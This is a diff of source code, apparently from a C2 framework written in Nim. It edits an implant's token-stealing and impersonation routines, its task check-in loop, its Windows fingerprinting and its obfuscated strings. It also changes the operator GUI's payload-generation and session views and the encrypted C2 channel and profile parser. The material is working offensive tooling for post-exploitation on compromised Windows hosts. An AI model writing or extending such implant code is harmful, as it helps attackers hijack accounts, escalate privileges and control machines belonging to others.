|
]#
|
||||||
proc impersonate*(hToken: HANDLE, apis: Apis = initApis()) =
|
proc impersonate*(apis: Apis, hToken: HANDLE) =
|
||||||
var
|
var
|
||||||
status: NTSTATUS
|
status: NTSTATUS
|
||||||
qos: SECURITY_QUALITY_OF_SERVICE
|
qos: SECURITY_QUALITY_OF_SERVICE
|
||||||
@@ -239,7 +239,7 @@ proc impersonate*(hToken: HANDLE, apis: Apis = initApis()) =
|
|||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
duplicated: bool = false
|
duplicated: bool = false
|
||||||
|
|
||||||
if getTokenStatistics(hToken, apis).tokenType == protect("Primary"):
|
if apis.getTokenStatistics(hToken).tokenType == protect("Primary"):
|
||||||
# Create a duplicate impersonation token
|
# Create a duplicate impersonation token
|
||||||
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
|
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
|
||||||
qos.ImpersonationLevel = securityImpersonation
|
qos.ImpersonationLevel = securityImpersonation
|
||||||
@@ -308,9 +308,9 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
|
|||||||
raise newException(CatchableError, GetLastError().getError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: discard apis.NtClose(hToken)
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
impersonate(hToken, apis)
|
apis.impersonate(hToken)
|
||||||
|
|
||||||
return getTokenUser(hToken, apis).username
|
return apis.getTokenUser(hToken).username
|
||||||
|
|
||||||
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
||||||
let apis = initApis()
|
let apis = initApis()
|
||||||
@@ -338,7 +338,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
|||||||
raise newException(CatchableError, status.getNtError())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
let action = if enable: protect("Enabled") else: protect("Disabled")
|
let action = if enable: protect("Enabled") else: protect("Disabled")
|
||||||
return fmt"{action} {privilegeToString(addr luid)}."
|
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Steal the access token of a remote process and impersonate it
|
Steal the access token of a remote process and impersonate it
|
||||||
@@ -375,6 +375,6 @@ proc stealToken*(pid: int): string =
|
|||||||
raise newException(CatchableError, status.getNtError())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: discard apis.NtClose(hToken)
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
impersonate(hToken, apis)
|
apis.impersonate(hToken)
|
||||||
|
|
||||||
return getTokenUser(hToken, apis).username
|
return apis.getTokenUser(hToken).username
|
||||||
@@ -19,7 +19,7 @@ proc main() =
|
|||||||
3. Register to the team server if not already connected
|
3. Register to the team server if not already connected
|
||||||
4. Retrieve tasks via checkin request to a GET endpoint
|
4. Retrieve tasks via checkin request to a GET endpoint
|
||||||
5. Execute task and post result
|
5. Execute task and post result
|
||||||
6. If additional tasks have been fetched, go to 6.
|
6. If additional tasks have been fetched, go to 3.
|
||||||
7. If no more tasks need to be executed, go to 1.
|
7. If no more tasks need to be executed, go to 1.
|
||||||
]#
|
]#
|
||||||
while true:
|
while true:
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -1,4 +1,4 @@
|
|||||||
import winim, os, net, strutils, registry, zippy, strformat
|
import winim, os, net, strutils, registry, zippy
|
||||||
|
|
||||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
@@ -69,9 +69,16 @@ proc getIPv4Address(): string =
|
|||||||
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||||
return $getPrimaryIpAddr()
|
return $getPrimaryIpAddr()
|
||||||
|
|
||||||
# API Structs
|
# Windows Version fingerprinting
|
||||||
type
|
type
|
||||||
OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
|
ProductType = enum
|
||||||
|
UNKNOWN = 0
|
||||||
|
WORKSTATION = 1
|
||||||
|
DC = 2
|
||||||
|
SERVER = 3
|
||||||
|
|
||||||
|
# API Structs
|
||||||
|
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
|
||||||
dwOSVersionInfoSize: ULONG
|
dwOSVersionInfoSize: ULONG
|
||||||
dwMajorVersion: ULONG
|
dwMajorVersion: ULONG
|
||||||
dwMinorVersion: ULONG
|
dwMinorVersion: ULONG
|
||||||
@@ -84,79 +91,68 @@ type
|
|||||||
wProductType: UCHAR
|
wProductType: UCHAR
|
||||||
wReserved: UCHAR
|
wReserved: UCHAR
|
||||||
|
|
||||||
# Windows Version fingerprinting
|
|
||||||
ProductType {.size: sizeof(uint8).} = enum
|
|
||||||
UNKNOWN = "Unknown"
|
|
||||||
WORKSTATION = "Workstation"
|
|
||||||
DC = "Domain Controller"
|
|
||||||
SERVER = "Server"
|
|
||||||
|
|
||||||
WindowsVersion = object
|
|
||||||
major: DWORD
|
|
||||||
minor: DWORD
|
|
||||||
buildMin: DWORD # Minimum build number (0 = any)
|
|
||||||
buildMax: DWORD # Maximum build number (0 = any)
|
|
||||||
productType: ProductType
|
|
||||||
name: string
|
|
||||||
|
|
||||||
let versions = [
|
|
||||||
# Windows 11 / Server 2022+
|
|
||||||
# WindowsVersion(major: 10, minor: 0, buildMin: 22631, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11 23H2")),
|
|
||||||
# WindowsVersion(major: 10, minor: 0, buildMin: 22621, buildMax: 22630, productType: WORKSTATION, name: protect("Windows 11 22H2")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 22000, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 26100, buildMax: 0, productType: SERVER, name: protect("Windows Server 2025")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 20348, buildMax: 26099, productType: SERVER, name: protect("Windows Server 2022")),
|
|
||||||
|
|
||||||
# Windows 10 / Server 2016-2019
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 19041, buildMax: 19045, productType: WORKSTATION, name: protect("Windows 10 2004/20H2/21H1/21H2/22H2")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 19040, productType: WORKSTATION, name: protect("Windows 10 1809+")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 10240, buildMax: 17762, productType: WORKSTATION, name: protect("Windows 10")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 17763, productType: SERVER, name: protect("Windows Server 2019")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 14393, buildMax: 14393, productType: SERVER, name: protect("Windows Server 2016")),
|
|
||||||
WindowsVersion(major: 10, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server (Unknown Build)")),
|
|
||||||
|
|
||||||
# Windows 8.x / Server 2012
|
|
||||||
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8.1")),
|
|
||||||
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012 R2")),
|
|
||||||
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8")),
|
|
||||||
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012")),
|
|
||||||
|
|
||||||
# Windows 7 / Server 2008 R2
|
|
||||||
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 7")),
|
|
||||||
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008 R2")),
|
|
||||||
|
|
||||||
# Windows Vista / Server 2008
|
|
||||||
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows Vista")),
|
|
||||||
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008")),
|
|
||||||
|
|
||||||
# Windows XP / Server 2003
|
|
||||||
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP x64 Edition")),
|
|
||||||
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2003")),
|
|
||||||
WindowsVersion(major: 5, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP")),
|
|
||||||
]
|
|
||||||
|
|
||||||
proc matchVersion(version: WindowsVersion, info: OSVersionInfoExW, productType: ProductType): bool =
|
|
||||||
if info.dwMajorVersion != version.major or info.dwMinorVersion != version.minor:
|
|
||||||
return false
|
|
||||||
if productType != version.productType:
|
|
||||||
return false
|
|
||||||
if version.buildMin > 0 and info.dwBuildNumber < version.buildMin:
|
|
||||||
return false
|
|
||||||
if version.buildMax > 0 and info.dwBuildNumber > version.buildMax:
|
|
||||||
return false
|
|
||||||
return true
|
|
||||||
|
|
||||||
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
|
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
|
||||||
for version in versions:
|
let
|
||||||
if version.matchVersion(info, if productType == DC: SERVER else: productType): # Process domain controllers as servers, otherwise they show up as unknown
|
major = info.dwMajorVersion
|
||||||
if productType == DC:
|
minor = info.dwMinorVersion
|
||||||
return version.name & protect(" (Domain Controller)")
|
build = info.dwBuildNumber
|
||||||
|
spMajor = info.wServicePackMajor
|
||||||
|
|
||||||
|
if major == 10 and minor == 0:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
if build >= 22000:
|
||||||
|
return protect("Windows 11")
|
||||||
else:
|
else:
|
||||||
return version.name
|
return protect("Windows 10")
|
||||||
|
|
||||||
# Unknown windows version, return as much information as possible
|
else:
|
||||||
return fmt"Windows {$int(info.dwMajorVersion)}.{$int(info.dwMinorVersion)} {$productType} (Build: {$int(info.dwBuildNumber)})"
|
case build:
|
||||||
|
of 20348:
|
||||||
|
return protect("Windows Server 2022")
|
||||||
|
of 17763:
|
||||||
|
return protect("Windows Server 2019")
|
||||||
|
of 14393:
|
||||||
|
return protect("Windows Server 2016")
|
||||||
|
else:
|
||||||
|
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
|
||||||
|
|
||||||
|
elif major == 6:
|
||||||
|
case minor:
|
||||||
|
of 3:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return protect("Windows 8.1")
|
||||||
|
else:
|
||||||
|
return protect("Windows Server 2012 R2")
|
||||||
|
of 2:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return protect("Windows 8")
|
||||||
|
else:
|
||||||
|
return protect("Windows Server 2012")
|
||||||
|
of 1:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return protect("Windows 7")
|
||||||
|
else:
|
||||||
|
return protect("Windows Server 2008 R2")
|
||||||
|
of 0:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return protect("Windows Vista")
|
||||||
|
else:
|
||||||
|
return protect("Windows Server 2008")
|
||||||
|
else:
|
||||||
|
discard
|
||||||
|
|
||||||
|
elif major == 5:
|
||||||
|
if minor == 2:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return protect("Windows XP x64 Edition")
|
||||||
|
else:
|
||||||
|
return protect("Windows Server 2003")
|
||||||
|
elif minor == 1:
|
||||||
|
return protect("Windows XP")
|
||||||
|
else:
|
||||||
|
discard
|
||||||
|
|
||||||
|
return protect("Unknown Windows Version")
|
||||||
|
|
||||||
proc getProductType(): ProductType =
|
proc getProductType(): ProductType =
|
||||||
# The product key is retrieved from the registry
|
# The product key is retrieved from the registry
|
||||||
|
|||||||
@@ -256,38 +256,10 @@ proc BeaconRevertToken(): void {.stdcall.} =
|
|||||||
RevertToSelf()
|
RevertToSelf()
|
||||||
|
|
||||||
# BOOL BeaconIsAdmin();
|
# BOOL BeaconIsAdmin();
|
||||||
type
|
|
||||||
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
|
||||||
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
|
||||||
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
|
||||||
|
|
||||||
proc BeaconIsAdmin(): BOOL {.stdcall.}=
|
proc BeaconIsAdmin(): BOOL {.stdcall.}=
|
||||||
let
|
# Not implemented
|
||||||
hNtdll = GetModuleHandleA(protect("ntdll"))
|
|
||||||
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
|
|
||||||
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
|
|
||||||
pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
|
|
||||||
|
|
||||||
var
|
|
||||||
status: NTSTATUS = 0
|
|
||||||
hToken: HANDLE
|
|
||||||
returnLength: ULONG = 0
|
|
||||||
pElevation: TOKEN_ELEVATION
|
|
||||||
|
|
||||||
# https://ntdoc.m417z.com/ntopenthreadtoken
|
|
||||||
status = pNtOpenThreadToken(cast[HANDLE](-2), TOKEN_QUERY, TRUE, addr hToken)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
status = pNtOpenProcessToken(cast[HANDLE](-1), TOKEN_QUERY, addr hToken)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
return FALSE
|
return FALSE
|
||||||
|
|
||||||
# Get elevation
|
|
||||||
status = pNtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
return FALSE
|
|
||||||
|
|
||||||
return cast[bool](pElevation.TokenIsElevated)
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Spawn+Inject Functions
|
Spawn+Inject Functions
|
||||||
]#
|
]#
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
import whisky
|
import whisky
|
||||||
import tables, times, strutils, strformat, json, base64, native_dialogs
|
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs
|
||||||
import ./utils/[appImGui, globals]
|
import ./utils/[appImGui, globals]
|
||||||
import ./views/[dockspace, sessions, listeners, eventlog, console]
|
import ./views/[dockspace, sessions, listeners, eventlog, console]
|
||||||
import ./views/loot/[screenshots, downloads]
|
import ./views/loot/[screenshots, downloads]
|
||||||
import ./views/modals/generatePayload
|
import ./views/modals/generatePayload
|
||||||
import ../common/[types, utils, profile, crypto]
|
import ../common/[types, utils, crypto]
|
||||||
import ./core/websocket
|
import ./core/websocket
|
||||||
|
|
||||||
proc main(ip: string = "localhost", port: int = 37573) =
|
proc main(ip: string = "localhost", port: int = 37573) =
|
||||||
@@ -73,11 +73,12 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
#[
|
#[
|
||||||
WebSocket communication with the team server
|
WebSocket communication with the team server
|
||||||
]#
|
]#
|
||||||
try:
|
# Continuously send heartbeat messages
|
||||||
|
connection.ws.sendHeartbeat()
|
||||||
|
|
||||||
# Receive and parse websocket response message
|
# Receive and parse websocket response message
|
||||||
let message = connection.ws.receiveMessage(timeout = 16) # Use a 16ms timeout to reduce CPU load = ~60FPS
|
try:
|
||||||
if message.isSome():
|
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
|
||||||
let event = recvEvent(message.get(), connection.sessionKey)
|
|
||||||
case event.eventType:
|
case event.eventType:
|
||||||
of CLIENT_KEY_EXCHANGE:
|
of CLIENT_KEY_EXCHANGE:
|
||||||
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
||||||
@@ -85,7 +86,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
wipeKey(clientKeyPair.privateKey)
|
wipeKey(clientKeyPair.privateKey)
|
||||||
|
|
||||||
of CLIENT_PROFILE:
|
of CLIENT_PROFILE:
|
||||||
profile = parseString(event.data["profile"].getStr())
|
profile = parsetoml.parseString(event.data["profile"].getStr())
|
||||||
|
|
||||||
of CLIENT_LISTENER_ADD:
|
of CLIENT_LISTENER_ADD:
|
||||||
let listener = event.data.to(UIListener)
|
let listener = event.data.to(UIListener)
|
||||||
@@ -129,7 +130,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
|
|
||||||
# Close and reset the payload generation modal window when the payload was received
|
# Close and reset the payload generation modal window when the payload was received
|
||||||
listenersTable.generatePayloadModal.resetModalValues()
|
listenersTable.generatePayloadModal.resetModalValues()
|
||||||
listenersTable.generatePayloadModal.show = false
|
igClosePopupToLevel(0, false)
|
||||||
|
|
||||||
of CLIENT_CONSOLE_ITEM:
|
of CLIENT_CONSOLE_ITEM:
|
||||||
let agentId = event.data["agentId"].getStr()
|
let agentId = event.data["agentId"].getStr()
|
||||||
@@ -201,16 +202,12 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
console.draw(connection)
|
console.draw(connection)
|
||||||
newConsoleTable[agentId] = console
|
newConsoleTable[agentId] = console
|
||||||
|
|
||||||
if sessionsTable.focusedConsole.len() > 0:
|
|
||||||
igSetWindowFocus_Str(sessionsTable.focusedConsole.cstring)
|
|
||||||
sessionsTable.focusedConsole = ""
|
|
||||||
|
|
||||||
# Update the consoles table with only those sessions that have not been closed yet
|
# Update the consoles table with only those sessions that have not been closed yet
|
||||||
# This is done to ensure that closed console windows can be opened again
|
# This is done to ensure that closed console windows can be opened again
|
||||||
consoles = newConsoleTable
|
consoles = newConsoleTable
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# echo "[-] ", err.msg
|
echo "[-] ", err.msg
|
||||||
discard
|
discard
|
||||||
|
|
||||||
# render
|
# render
|
||||||
|
|||||||
@@ -35,7 +35,6 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
|
|||||||
# Payload generation modal (only enabled when at least one listener is active)
|
# Payload generation modal (only enabled when at least one listener is active)
|
||||||
igBeginDisabled(component.listeners.len() <= 0)
|
igBeginDisabled(component.listeners.len() <= 0)
|
||||||
if igButton("Generate Payload", vec2(0.0f, 0.0f)):
|
if igButton("Generate Payload", vec2(0.0f, 0.0f)):
|
||||||
component.generatePayloadModal.show = true
|
|
||||||
igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32)
|
igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32)
|
||||||
igEndDisabled()
|
igEndDisabled()
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ export addItem
|
|||||||
|
|
||||||
type
|
type
|
||||||
AgentModalComponent* = ref object of RootObj
|
AgentModalComponent* = ref object of RootObj
|
||||||
show*: bool
|
|
||||||
listener: int32
|
listener: int32
|
||||||
sleepDelay: uint32
|
sleepDelay: uint32
|
||||||
jitter: int32
|
jitter: int32
|
||||||
@@ -29,7 +28,6 @@ type
|
|||||||
|
|
||||||
proc AgentModal*(): AgentModalComponent =
|
proc AgentModal*(): AgentModalComponent =
|
||||||
result = new AgentModalComponent
|
result = new AgentModalComponent
|
||||||
result.show = false
|
|
||||||
result.listener = 0
|
result.listener = 0
|
||||||
result.sleepDelay = 5
|
result.sleepDelay = 5
|
||||||
result.jitter = 15
|
result.jitter = 15
|
||||||
@@ -98,13 +96,11 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
let modalWidth = max(500.0f, vp.Size.x * 0.25)
|
let modalWidth = max(500.0f, vp.Size.x * 0.25)
|
||||||
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
|
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
|
||||||
|
|
||||||
var show = component.show
|
var show = true
|
||||||
let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32
|
let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32
|
||||||
if igBeginPopupModal("Generate Payload", addr show, windowFlags):
|
if igBeginPopupModal("Generate Payload", addr show, windowFlags):
|
||||||
defer: igEndPopup()
|
defer: igEndPopup()
|
||||||
|
|
||||||
component.show = show
|
|
||||||
|
|
||||||
var availableSize: ImVec2
|
var availableSize: ImVec2
|
||||||
igGetContentRegionAvail(addr availableSize)
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
|
||||||
|
|||||||
@@ -15,7 +15,6 @@ type
|
|||||||
agentImpersonation*: Table[string, string]
|
agentImpersonation*: Table[string, string]
|
||||||
selection: ptr ImGuiSelectionBasicStorage
|
selection: ptr ImGuiSelectionBasicStorage
|
||||||
consoles: ptr Table[string, ConsoleComponent]
|
consoles: ptr Table[string, ConsoleComponent]
|
||||||
focusedConsole*: string
|
|
||||||
|
|
||||||
proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]): SessionsTableComponent =
|
proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]): SessionsTableComponent =
|
||||||
result = new SessionsTableComponent
|
result = new SessionsTableComponent
|
||||||
@@ -24,7 +23,6 @@ proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]
|
|||||||
result.agentActivity = initTable[string, int64]()
|
result.agentActivity = initTable[string, int64]()
|
||||||
result.selection = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
|
result.selection = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
|
||||||
result.consoles = consoles
|
result.consoles = consoles
|
||||||
result.focusedConsole = ""
|
|
||||||
|
|
||||||
proc cmp(x, y: UIAgent): int =
|
proc cmp(x, y: UIAgent): int =
|
||||||
return cmp(x.firstCheckin, y.firstCheckin)
|
return cmp(x.firstCheckin, y.firstCheckin)
|
||||||
@@ -41,7 +39,9 @@ proc interact(component: SessionsTableComponent) =
|
|||||||
if not component.consoles[].hasKey(agent.agentId):
|
if not component.consoles[].hasKey(agent.agentId):
|
||||||
component.consoles[][agent.agentId] = Console(agent)
|
component.consoles[][agent.agentId] = Console(agent)
|
||||||
|
|
||||||
component.focusedConsole = fmt"[{agent.agentId}] {agent.username}@{agent.hostname}"
|
# Focus the existing console window
|
||||||
|
else:
|
||||||
|
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
|
||||||
|
|
||||||
component.selection.ImGuiSelectionBasicStorage_Clear()
|
component.selection.ImGuiSelectionBasicStorage_Clear()
|
||||||
|
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import ./[types, utils]
|
|||||||
Symmetric AES256 GCM encryption for secure C2 traffic
|
Symmetric AES256 GCM encryption for secure C2 traffic
|
||||||
Ensures both confidentiality and integrity of the packet
|
Ensures both confidentiality and integrity of the packet
|
||||||
]#
|
]#
|
||||||
proc generateBytes*(T: typedesc[Key | Iv | KeyRC4]): array =
|
proc generateBytes*(T: typedesc[Key | Iv | Key16]): array =
|
||||||
var bytes: T
|
var bytes: T
|
||||||
if randomBytes(bytes) != sizeof(T):
|
if randomBytes(bytes) != sizeof(T):
|
||||||
raise newException(CatchableError, protect("Failed to generate byte array."))
|
raise newException(CatchableError, protect("Failed to generate byte array."))
|
||||||
@@ -57,7 +57,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
|
|||||||
Elliptic curve cryptography ensures that the actual session key is never sent over the network
|
Elliptic curve cryptography ensures that the actual session key is never sent over the network
|
||||||
Private keys and shared secrets are wiped from agent memory as soon as possible
|
Private keys and shared secrets are wiped from agent memory as soon as possible
|
||||||
]#
|
]#
|
||||||
{.compile: protect("monocypher/monocypher.c").}
|
{.compile: "monocypher/monocypher.c".}
|
||||||
|
|
||||||
# C function imports from (monocypher/monocypher.c)
|
# C function imports from (monocypher/monocypher.c)
|
||||||
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}
|
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}
|
||||||
|
|||||||
@@ -1,146 +1,72 @@
|
|||||||
import strutils, sequtils, random, base64, algorithm
|
import parsetoml, strutils, sequtils, random
|
||||||
import ./[types, utils]
|
|
||||||
import ./toml/toml
|
import ./types
|
||||||
export parseFile, parseString, free, getTableKeys, getRandom
|
|
||||||
|
proc findKey(profile: Profile, path: string): TomlValueRef =
|
||||||
|
let keys = path.split(".")
|
||||||
|
let target = keys[keys.high]
|
||||||
|
|
||||||
|
var current = profile
|
||||||
|
for i in 0 ..< keys.high:
|
||||||
|
let temp = current.getOrDefault(keys[i])
|
||||||
|
if temp == nil:
|
||||||
|
return nil
|
||||||
|
current = temp
|
||||||
|
|
||||||
|
return current.getOrDefault(target)
|
||||||
|
|
||||||
# Takes a specific "."-separated path as input and returns a default value if the key does not exits
|
# Takes a specific "."-separated path as input and returns a default value if the key does not exits
|
||||||
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
|
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
|
||||||
# prefix key, or "not found" if the target key or any sub-tables don't exist
|
# prefix key, or "not found" if the target key or any sub-tables don't exist
|
||||||
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character (a-zA-Z0-9)
|
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character
|
||||||
# '$' characters are replaced with a random number (0-9)
|
|
||||||
|
|
||||||
#[
|
|
||||||
Helper functions
|
|
||||||
]#
|
|
||||||
proc randomChar(): char =
|
proc randomChar(): char =
|
||||||
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
return alphabet[rand(alphabet.len - 1)]
|
return alphabet[rand(alphabet.len - 1)]
|
||||||
|
|
||||||
proc randomNumber(): char =
|
|
||||||
let numbers = "0123456789"
|
|
||||||
return numbers[rand(numbers.len - 1)]
|
|
||||||
|
|
||||||
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
||||||
if values.len == 0:
|
if values.len == 0:
|
||||||
return nil
|
return nil
|
||||||
return values[rand(values.len - 1)]
|
return values[rand(values.len - 1)]
|
||||||
|
|
||||||
#[
|
|
||||||
Wrapper functions
|
|
||||||
]#
|
|
||||||
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
||||||
if key.isNil or key.kind == None:
|
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
|
||||||
return default
|
# A random entry is selected from these specifications
|
||||||
|
|
||||||
var value: string = ""
|
var value: string = ""
|
||||||
if key.kind == String:
|
if key.kind == TomlValueKind.String:
|
||||||
value = key.strVal
|
value = key.getStr(default)
|
||||||
elif key.kind == Array:
|
elif key.kind == TomlValueKind.Array:
|
||||||
let randomElem = getRandom(key.arrayVal)
|
value = key.getElems().getRandom().getStr(default)
|
||||||
if randomElem != nil and randomElem.kind == String:
|
|
||||||
value = randomElem.strVal
|
|
||||||
|
|
||||||
# Replace '#' with random alphanumerical character
|
# Replace '#' with a random alphanumerical character and return the resulting string
|
||||||
# Replace '$' with a random digit
|
return value.mapIt(if it == '#': randomChar() else: it).join("")
|
||||||
return value.mapIt(if it == '#': randomChar() elif it == '$': randomNumber() else: it).join("")
|
|
||||||
|
|
||||||
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
||||||
let key = profile.findKey(path)
|
let key = profile.findKey(path)
|
||||||
|
if key == nil:
|
||||||
|
return default
|
||||||
return key.getStringValue(default)
|
return key.getStringValue(default)
|
||||||
|
|
||||||
proc getInt*(profile: Profile, path: string, default: int = 0): int =
|
|
||||||
let key = profile.findKey(path)
|
|
||||||
return key.getInt(default)
|
|
||||||
|
|
||||||
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
||||||
let key = profile.findKey(path)
|
let key = profile.findKey(path)
|
||||||
|
if key == nil:
|
||||||
|
return default
|
||||||
return key.getBool(default)
|
return key.getBool(default)
|
||||||
|
|
||||||
|
proc getInt*(profile: Profile, path: string, default = 0): int =
|
||||||
|
let key = profile.findKey(path)
|
||||||
|
if key == nil:
|
||||||
|
return default
|
||||||
|
return key.getInt(default)
|
||||||
|
|
||||||
proc getTable*(profile: Profile, path: string): TomlTableRef =
|
